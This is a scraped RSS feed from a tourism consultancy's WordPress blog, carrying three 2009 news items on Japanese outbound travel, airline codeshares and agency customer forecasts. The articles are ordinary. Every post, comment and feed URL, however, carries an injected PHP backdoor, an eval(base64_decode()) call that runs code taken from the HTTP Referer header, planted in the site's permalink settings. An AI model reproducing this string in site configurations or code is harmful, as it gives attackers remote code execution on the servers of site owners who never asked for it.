Royal Intel - Tourism Intelligence Consultants » Europe http://royalintel.com "Royal Intel is an indispensible partner of ours in our construction of our marketing programs, with their thorough analyses of Asia-Pacific tourism and swift turnaround of deliverables. Their reports are always spot on, user-friendly, and full of constructive counsel" - Søren Leerskov, Managing Director, Scandinavian Tourist Board Fri, 08 Jan 2010 06:41:37 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 JATA Uplifts Study Tours to Asia, USA, Europe, and Australia http://royalintel.com/2009/09/23/jata-uplifts-study-tours-to-asia-usa-europe-and-australia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/09/23/jata-uplifts-study-tours-to-asia-usa-europe-and-australia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 23 Sep 2009 08:17:27 +0000 Lara http://royalintel.com/2009/09/23/jata-uplifts-study-tours-to-asia-usa-europe-and-australia/
In an effort to create new demand, and uplift the level of professionalism in the overseas travel industry, Japan Association of Travel Agents (JATA) intends to organize several overseas study tours over the year. These trips will forms part of the human resource development program toward the “next step for growth” outlined in its business plan for the fiscal 2009.
The administration office of Outbound Travel Committee together with the VWC 20Million Travelers Promotion Office at JATA jointly plan to send FAM (familiarization) tours to destinations that dropped markedly last year in travel demand or to promising destinations that are cooperative in receiving agency study tours. The first group is to visit China in early September, and the second group is expected to visit Thailand and Vietnam. The United States, Europe, Australia, and Hawaii are listed for the third round of the program. The study tour to China features Beijing, and was originally scheduled for late May but postponed due to the outbreak of the H1N1 influenza virus. The tour has equally been downsized from the initial 320 to 210 participants due to limitation of air seat availability. With members joining from all parts of the country, the entourage to China will nonetheless constitute a large group.
Activities planned during the stay in Beijing includes an inspection of the new and old tourism resources for purposes of re-assessing their value from a tourist’s viewpoint in a move to spur travel demand after the Beijing Olympics. A seminar, coupled with a lecture, is expected to be held at the same time to discuss means of creating pleasure travel demand. Led by the chairman of the Outbound Travel Committee at JATA, and chairman of JTB Corp., Takashi Sasaki, the China study group will consist of travel agency staff, educational personnel, students majoring in tourism, and people from mass media. Travel agency staff were selected from those who are engaged in counter sales, group, corporate, and educational tour sales, and tie-up sales with other corporations; and are expected to embark on a nationwide campaign for promotion of China tours there after.

Source: Travel Vision Weekly at www.travelvisionweekly.com

]]> http://royalintel.com/2009/09/23/jata-uplifts-study-tours-to-asia-usa-europe-and-australia/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 China Southern Airlines and Air France Expand Codeshare Agreement http://royalintel.com/2009/09/04/china-southern-airlines-and-air-france-expand-codeshare-agreement/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/09/04/china-southern-airlines-and-air-france-expand-codeshare-agreement/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 04 Sep 2009 07:49:31 +0000 Lara http://royalintel.com/2009/09/04/china-southern-airlines-and-air-france-expand-codeshare-agreement/
Air France and China Southern Airlines, both members of the SkyTeam airline alliance, have expanded their codeshare agreement. In this regard, Air France will place its code on China Southern’s Guangzhou-Kunming, Guangzhou-Xiamen and Guangzhou-Wenzhou services, say the SkyTeam alliance members.
China Southern’s code will be placed on Air France’s services on the Paris-Madrid, Paris-Milan and Paris-London routes. The new China Southern-Air France deal is another step of mutual cooperation from the two SkyTeam partners to extend the air links between China and Europe, and provide customers with more flight options,” say the carriers. Early in June 2004, China Southern Airlines and Air France agreed on their first joint routing between Guangzhou and Paris and customers have benefited from the extensive network of both airlines linking the Guangzhou and Paris hubs. Customers are also entitled to accrue miles when they fly on the codeshare flights and benefit from reciprocal lounge services.
As the newest member of SkyTeam and the largest airline in The People’s Republic of China for the past 30 years, China Southern Airlines connects to more than 80 cities around the globe. Major business and vacation destinations served in China include Beijing, Chengdu, Guangzhou, Guilin, Hong Kong, Kunming, Shanghai, Shenzhen and Wuhan. International destinations include Amsterdam, Bangkok, Fukuoka, Hanoi, Ho Chi Minh City, Islamabad, Kuala Lumpur, Jakarta, Lagos, Los Angeles, Manila, Melbourne, Moscow, Osaka, Paris, Penang, Phnom Penh, Seoul, Singapore, Sydney and Tokyo.

Source: Flightglobal at www.flightglobal.com

]]> http://royalintel.com/2009/09/04/china-southern-airlines-and-air-france-expand-codeshare-agreement/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 JTB, KNT, NTA, JALPAK to Maintain Last Year’s Customer Levels for the Current Spring and Summer Period http://royalintel.com/2009/08/18/jtb-knt-nta-jalpak-to-maintain-last-year%e2%80%99s-customer-levels-for-the-current-spring-and-summer-period/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/08/18/jtb-knt-nta-jalpak-to-maintain-last-year%e2%80%99s-customer-levels-for-the-current-spring-and-summer-period/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 18 Aug 2009 07:01:04 +0000 Lara http://royalintel.com/2009/08/18/jtb-knt-nta-jalpak-to-maintain-last-year%e2%80%99s-customer-levels-for-the-current-spring-and-summer-period/
Japan Tourist Board (JTB), Kinki Nippon Tourist (KNT), Nippon Travel Agency (NTA), and JALPAK Travel have announced their optimism in recording favorable customer estimates during the current spring/summer season. These optimistic estimates, the aforementioned travel industry players note, will be comparable to or exceeding that of last year after suffering from setbacks in customer numbers in May and June due to impacts related to the H1N1 Swine Flu outbreak.

On their part, JTB and JALPAK Travel are keeping pace with estimates recorded a year ago, while KNT expects to surpass the previous year’s estimate by 2 to 3%, and NTA (as of July 19) by 4%. JTB eyes 619,000 customers, about the same number as in the previous year. The agency further anticipates a 6% increase to 85,000 in customers touring Europe due to improvements made in the guaranteeing of tour operation and contents of tour programs. The agency equally reports travel to Hawaii and Asia recording a growth of 3% to 122,000, and 4% to 232,000 respectively, due to better ground services and competitive tour prices. In the meantime, JTB has strived to increase sales of wedding and honeymoon tours as they are less vulnerable to economic fluctuation. As a result, tours associated with the “Sweet Memory” series are expected to attain a growth of 54% while family tours with departure from Tokyo are exhibiting a 27% growth.

On their part, KNT foresees an increase to 184,000 in customers from April to September, up 2 to 3% year-on-year. The travel agency has been struggling to cope with dwindling customer numbers after the H1N1 influenza outbreak but is now on course towards its target goals. The agency notes that the increase in customer estimates is due to a demand for short-stay, inexpensive nearby destinations in Asia and Micronesia with tours to Korea recording a 100% growth. The agency further reports that tours to Europe, marketed in 11 separate booklets, made a good start before the influenza breakout, and are at present keeping a moderate growth post-H1N1. As of July 19, NTA handled an estimate 134,774 customers, up 4% from a year ago. Before the month of June, NTN had recorded negative growth in all its destinations except for Asia, but recovery is seen for the months of July to September with destinations in China, Micronesia, and Europe topping the bill.

Bookings on tours to China, which had slumped last year, are recording progressive rates of 158% increase to reach 1,762. Sales of package tours were impressive in April significantly due to the reduction in fuel surcharge and appreciation of the Japanese yen, marking a positive growth for the first time in four months. NTA notes that its price-appealing tours to a number of destinations in Asia have seen an upsurge of 60,858 customers, up 22% since April. JALPAK on its part, forecasts to record 169,500 customers this spring/summer season, about the same number as last year. The agency notes that their ‘Destination China’ tour package, which had stalled in growth in 2008, will see 7,600 customers taking the tour, up 82%. Bookings to Taiwan are already up 30% to 9,000, and those to the rest of Asia are up 15% to 44,000.

Sales for spring/summer were reportedly buoyant at the initial stage in January, but the spread of the influenza virus cast a blow on sales. JALPAK reports that the demand for travel was back in June with bookings piling up around the autumn holidays in September. JALPAK’s staple package, wedding tours, and also family tours, have recorded significant bookings. Inexpensive short-haul destinations in and around Asia are indeed spurring growth and renewing optimism among the Japanese travel agencies, leading the way for their recovery bearing on a dented industry due to impacts of the H1N1 swine flu epidemic, upsurge in fuel surcharges and decline in the value of the Japanese yen.

Source: Travel Vision, Inc at www.travelvisionweekly.com

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